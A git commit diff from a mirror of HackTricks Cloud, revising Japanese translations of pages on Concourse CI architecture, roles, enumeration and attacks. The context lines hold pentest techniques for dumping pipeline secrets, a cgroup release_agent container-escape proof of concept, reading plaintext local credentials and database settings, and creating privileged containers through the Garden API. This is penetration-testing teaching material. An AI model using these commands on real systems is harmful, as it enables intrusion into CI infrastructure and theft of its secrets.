mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-18 15:45:54 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Concourseは、必要に応じて(時間ベース、何かが発生したときなど)テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**することを可能にします。
|
||||
Concourseを使用すると、必要に応じて(時間ベース、何かが発生したときなど)テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**できます。
|
||||
|
||||
## Concourseアーキテクチャ
|
||||
|
||||
|
||||
@@ -16,11 +16,11 @@ ATCはConcourseの中心です。**ウェブ UI と API**を実行し、すべ
|
||||
|
||||
[checker](https://concourse-ci.org/checker.html)の責任は、リソースの新しいバージョンを継続的にチェックすることです。[scheduler](https://concourse-ci.org/scheduler.html)はジョブのビルドをスケジュールする責任があり、[build tracker](https://concourse-ci.org/build-tracker.html)はスケジュールされたビルドを実行する責任があります。[garbage collector](https://concourse-ci.org/garbage-collector.html)は、未使用または古くなったオブジェクト(コンテナやボリュームなど)を削除するためのクリーンアップメカニズムです。
|
||||
|
||||
#### TSA: ワーカー登録 & 転送
|
||||
#### TSA: ワーカーの登録 & 転送
|
||||
|
||||
TSAは**カスタムビルドのSSHサーバー**であり、[**ワーカー**](https://concourse-ci.org/internals.html#architecture-worker)を[ATC](https://concourse-ci.org/internals.html#component-atc)に安全に**登録**するためだけに使用されます。
|
||||
|
||||
TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。
|
||||
TSAは**デフォルトでポート `2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。
|
||||
|
||||
**TSAはSSH接続を介してCLIを実装し、**[**これらのコマンド**](https://concourse-ci.org/internals.html#component-tsa)をサポートします。
|
||||
|
||||
@@ -28,8 +28,8 @@ TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](h
|
||||
|
||||
タスクを実行するために、Concourseはワーカーを持つ必要があります。これらのワーカーは[TSA](https://concourse-ci.org/internals.html#component-tsa)を介して**自分自身を登録**し、[**Garden**](https://github.com/cloudfoundry-incubator/garden)と[**Baggageclaim**](https://github.com/concourse/baggageclaim)のサービスを実行します。
|
||||
|
||||
- **Garden**: これは**コンテナ管理API**で、通常は**ポート7777**で**HTTP**を介して実行されます。
|
||||
- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート7788**で**HTTP**を介して実行されます。
|
||||
- **Garden**: これは**コンテナ管理API**で、通常は**ポート 7777**で**HTTP**を介して実行されます。
|
||||
- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート 7788**で**HTTP**を介して実行されます。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -11,11 +11,11 @@ Concourse には5つのロールがあります:
|
||||
- _Concourse_ **Admin**: このロールは **メインチーム**(デフォルトの初期 concourse チーム)の所有者にのみ与えられます。管理者は **他のチームを構成**できます(例:`fly set-team`、`fly destroy-team`...)。このロールの権限は RBAC によって影響を受けません。
|
||||
- **owner**: チームの所有者は **チーム内のすべてを変更**できます。
|
||||
- **member**: チームメンバーは **チームの資産内で読み書き**できますが、チーム設定を変更することはできません。
|
||||
- **pipeline-operator**: パイプラインオペレーターは **パイプライン操作**(ビルドのトリガーやリソースのピン留めなど)を実行できますが、パイプライン設定を更新することはできません。
|
||||
- **viewer**: チームのビューワーはチームとそのパイプラインに **「読み取り専用」アクセス**を持っています。
|
||||
- **pipeline-operator**: パイプラインオペレーターはビルドのトリガーやリソースのピン留めなどの **パイプライン操作**を実行できますが、パイプライン設定を更新することはできません。
|
||||
- **viewer**: チームのビューワーはチームとそのパイプラインに対して **「読み取り専用」アクセス**を持っています。
|
||||
|
||||
> [!NOTE]
|
||||
> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで変更できます(具体的にはそのアクションを構成します)。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。
|
||||
> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで **変更可能です**(具体的にはそのアクションを構成します)。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。
|
||||
|
||||
Concourse は **チーム内にパイプラインをグループ化**します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、**複数のチーム**が存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。
|
||||
|
||||
@@ -23,7 +23,7 @@ Concourse は **チーム内にパイプラインをグループ化**します
|
||||
|
||||
YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文を使用して値を構成できます。\
|
||||
[ドキュメントから:](https://concourse-ci.org/vars.html#var-syntax) **source-name はオプション**であり、省略した場合は [クラスター全体の資格情報マネージャー](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) が使用されるか、値が [静的に提供される](https://concourse-ci.org/vars.html#static-vars)場合があります。\
|
||||
**オプションの \_secret-field**\_ は、取得したシークレットから読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\
|
||||
**オプションの \_secret-field**\_ は取得した秘密のフィールドを読み取るために指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\
|
||||
さらに、_**secret-path**_ と _**secret-field**_ は、`。` や `:` のような **特殊文字**を含む場合、二重引用符 `"..."` で囲むことができます。たとえば、`((source:"my.secret"."field:1"))` は _secret-path_ を `my.secret` に、_secret-field_ を `field:1` に設定します。
|
||||
|
||||
#### 静的変数
|
||||
@@ -34,17 +34,17 @@ YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Or using the following `fly` **arguments**:
|
||||
以下の `fly` **引数**を使用します:
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` は、文字列 `VALUE` を var `NAME` の値として設定します。
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、var `NAME` の値として設定します。
|
||||
- `-i` or `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス var `NAME` の値として設定します。インスタンス var について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。
|
||||
- `-l` or `--load-vars-from` `FILE` は、var 名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。
|
||||
- `-v` または `--var` `NAME=VALUE` は、文字列 `VALUE` を変数 `NAME` の値として設定します。
|
||||
- `-y` または `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、変数 `NAME` の値として設定します。
|
||||
- `-i` または `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス変数 `NAME` の値として設定します。インスタンス変数について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。
|
||||
- `-l` または `--load-vars-from` `FILE` は、変数名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。
|
||||
|
||||
#### Credential Management
|
||||
#### 認証情報管理
|
||||
|
||||
パイプラインで **Credential Manager を指定する方法** はいくつかあります。詳細は [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) をお読みください。\
|
||||
さらに、Concourse は異なる Credential Manager をサポートしています:
|
||||
さらに、Concourse は異なる認証情報マネージャーをサポートしています:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -57,13 +57,13 @@ Or using the following `fly` **arguments**:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Concourse に対して何らかの **書き込みアクセス** がある場合、**それらの秘密を外部に持ち出す** ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。
|
||||
> **Concourse** に対して何らかの **書き込みアクセス** がある場合、ジョブを作成して **それらの秘密を流出させる** ことができることに注意してください。
|
||||
|
||||
### Concourse Enumeration
|
||||
### Concourse 列挙
|
||||
|
||||
Concourse 環境を列挙するには、まず **有効な資格情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークンを見つける** 必要があります。
|
||||
Concourse 環境を列挙するには、まず **有効な認証情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークン** を見つける必要があります。
|
||||
|
||||
#### Login and Current User enum
|
||||
#### ログインと現在のユーザー列挙
|
||||
|
||||
- ログインするには、**エンドポイント**、**チーム名**(デフォルトは `main`)、および **ユーザーが所属するチーム** を知っている必要があります:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
@@ -75,9 +75,9 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに資格情報が見つかる可能性があります。
|
||||
> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに認証情報が見つかる可能性があります。
|
||||
|
||||
#### Teams & Users
|
||||
#### チームとユーザー
|
||||
|
||||
- チームのリストを取得:
|
||||
- `fly -t <target> teams`
|
||||
@@ -86,7 +86,7 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集
|
||||
- ユーザーのリストを取得:
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
#### パイプライン
|
||||
|
||||
- **パイプラインのリスト**:
|
||||
- `fly -t <target> pipelines -a`
|
||||
@@ -94,7 +94,7 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- すべてのパイプライン **設定された変数** を取得:
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- 使用されているすべての **パイプラインの秘密の名前** を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、外部に持ち出すことができます):
|
||||
- 使用されているすべての **パイプラインの秘密の名前** を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、流出させることができます):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
@@ -137,7 +137,7 @@ fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
これらの権限があれば、次のことができるかもしれません:
|
||||
|
||||
- **コンテナ**内の**秘密**を**盗む**
|
||||
- **ノード**に**脱出**しようとする
|
||||
- **ノード**に**エスケープ**しようとする
|
||||
- **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば)
|
||||
|
||||
#### パイプラインの作成/変更
|
||||
@@ -168,8 +168,8 @@ SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
新しいパイプラインの**変更/作成**により、次のことが可能になります:
|
||||
|
||||
- **秘密**を**盗む**(エコー出力するか、コンテナ内に入り`env`を実行することで)
|
||||
- **ノード**に**脱出**する(十分な権限を与えることで - `privileged: true`)
|
||||
- **秘密**を**盗む**(それらをエコー出力するか、コンテナ内に入り`env`を実行することで)
|
||||
- **ノード**に**エスケープ**する(十分な権限を与えることで - `privileged: true`)
|
||||
- **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから)
|
||||
- 作成したパイプラインを**削除**する
|
||||
|
||||
@@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
|
||||
|
||||
前のセクションでは、**concourseで特権タスクを実行する方法**を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープはより「複雑」になる可能性があります。
|
||||
|
||||
次のPoCでは、リリースエージェントを使用して、いくつかの小さな変更を加えてエスケープします:
|
||||
次のPoCでは、いくつかの小さな修正を加えてrelease_agentを使用してエスケープします:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
cat /output
|
||||
```
|
||||
> [!WARNING]
|
||||
> ご覧の通り、これは単なる [**通常の release_agent エスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) であり、ノード内の cmd のパスを変更するだけです。
|
||||
> ご覧の通り、これは単なる[**通常のrelease_agentエスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)であり、ノード内のcmdのパスを変更するだけです。
|
||||
|
||||
#### ワーカーコンテナからノードへのエスケープ
|
||||
#### Workerコンテナからノードへのエスケープ
|
||||
|
||||
このためには、わずかな修正を加えた通常の release_agent エスケープで十分です:
|
||||
このためには、わずかな修正を加えた通常のrelease_agentエスケープで十分です:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -293,9 +293,9 @@ cat /output
|
||||
```
|
||||
#### Webコンテナからノードへのエスケープ
|
||||
|
||||
ウェブコンテナにいくつかの防御が無効になっていても、それは**一般的な特権コンテナとして実行されていません**(例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です)。
|
||||
Webコンテナにいくつかの防御が無効になっていても、**一般的な特権コンテナとして実行されていません**(例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です)。
|
||||
|
||||
しかし、**ローカルの資格情報を平文で保存しています**:
|
||||
しかし、**ローカルの資格情報が平文で保存されています**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -304,7 +304,7 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
その資格情報を使用して、**ウェブサーバーにログイン**し、**特権コンテナを作成してノードに脱出**することができます。
|
||||
その資格情報を使用して**ウェブサーバーにログイン**し、**特権コンテナを作成してノードにエスケープ**することができます。
|
||||
|
||||
環境内では、concourseが使用する**postgresql**インスタンスにアクセスするための情報(アドレス、**ユーザー名**、**パスワード**、およびデータベースなどの情報)も見つけることができます。
|
||||
```bash
|
||||
@@ -332,12 +332,12 @@ select * from users;
|
||||
> [!WARNING]
|
||||
> これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。
|
||||
|
||||
デフォルトでは、各コンコースワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、ウェブマスターがワーカーに**実行する必要があること**(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります:
|
||||
デフォルトでは、各concourseワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、Webマスターがワーカーに**実行する必要があること**(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります:
|
||||
|
||||
- それは**ローカルにのみ公開されています**(127..0.0.1)し、ワーカーが特別なSSHサービスでウェブに対して認証されるとき、トンネルが作成され、ウェブサーバーが各ワーカー内の**各Gardenサービス**と**通信できる**ようになります。
|
||||
- ウェブサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、ウェブサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。
|
||||
- それは**ローカルにのみ公開されています**(127..0.0.1)し、ワーカーが特別なSSHサービスでWebに対して認証するときに、各ワーカー内の各Gardenサービスと**通信するためのトンネル**が作成されると思います。
|
||||
- Webサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、Webサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。
|
||||
|
||||
コンコースワーカーは高いコンテナ特権で実行されます:
|
||||
Concourseワーカーは高いコンテナ特権で実行されます:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
@@ -348,10 +348,10 @@ Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
しかし、ノードの /dev デバイスや release_agent を **マウント**するような技術は **機能しません**(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。
|
||||
しかし、ノードの/devデバイスやrelease_agentを**マウント**するような技術は**機能しません**(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。
|
||||
|
||||
> [!NOTE]
|
||||
> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された **特権コンテナ** でコマンドを **実行**できる場合、**ノードに脱出**できる可能性があります。
|
||||
> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された**特権コンテナ**でコマンドを**実行**できる場合、**ノードに脱出**できる可能性があります。
|
||||
|
||||
concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。
|
||||
|
||||
@@ -376,7 +376,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**新しい特権コンテナの作成**
|
||||
|
||||
ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:
|
||||
ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
|
||||
@@ -13,11 +13,11 @@
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
`fly`コマンドラインをあなたのOS用にウェブから`127.0.0.1:8080`でダウンロードできます。
|
||||
コマンドライン `fly` をあなたのOS用にウェブから `127.0.0.1:8080` でダウンロードできます。
|
||||
|
||||
#### Kubernetesを使用して(推奨)
|
||||
|
||||
**Kubernetes**(例えば**minikube**)に簡単にconcourseをデプロイするには、helm-chartを使用します: [**concourse-chart**](https://github.com/concourse/concourse-chart)。
|
||||
**Kubernetes**(例えば**minikube**)でhelm-chartを使用してconcourseを簡単にデプロイできます: [**concourse-chart**](https://github.com/concourse/concourse-chart)。
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
concourse envを生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます:
|
||||
concourse環境を生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます:
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -69,7 +69,7 @@ secret: MWYyZDFlMmU2N2Rm
|
||||
```
|
||||
### パイプラインの作成
|
||||
|
||||
パイプラインは、順序付きの[ステップ](https://concourse-ci.org/steps.html)のリストを含む[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。
|
||||
パイプラインは、順序付きの[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。
|
||||
|
||||
### ステップ
|
||||
|
||||
@@ -79,13 +79,13 @@ secret: MWYyZDFlMmU2N2Rm
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) は [resource](https://concourse-ci.org/resources.html) を取得します
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) は [resource](https://concourse-ci.org/resources.html) を更新します
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) は [pipeline](https://concourse-ci.org/pipelines.html) を構成します
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は値を [local var](https://concourse-ci.org/vars.html#local-vars) にロードします
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は [local var](https://concourse-ci.org/vars.html#local-vars) に値をロードします
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) はステップを並行して実行します
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) はステップを順番に実行します
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します;変数の値の組み合わせごとに1回実行します
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します;変数の値の組み合わせごとに1回
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) はステップを実行しようとし、ステップが失敗しても成功します
|
||||
|
||||
各[ステップ](https://concourse-ci.org/steps.html)は[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。
|
||||
各[ステップ](https://concourse-ci.org/steps.html)は、[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。
|
||||
|
||||
したがって、各ステップが実行される必要があるコンテナのタイプを指定することが可能です。
|
||||
|
||||
@@ -123,7 +123,7 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
**127.0.0.1:8080** にアクセスして、パイプラインのフローを確認してください。
|
||||
**127.0.0.1:8080** にアクセスしてパイプラインのフローを確認してください。
|
||||
|
||||
### 出力/入力パイプラインを持つBashスクリプト
|
||||
|
||||
|
||||
Reference in New Issue
Block a user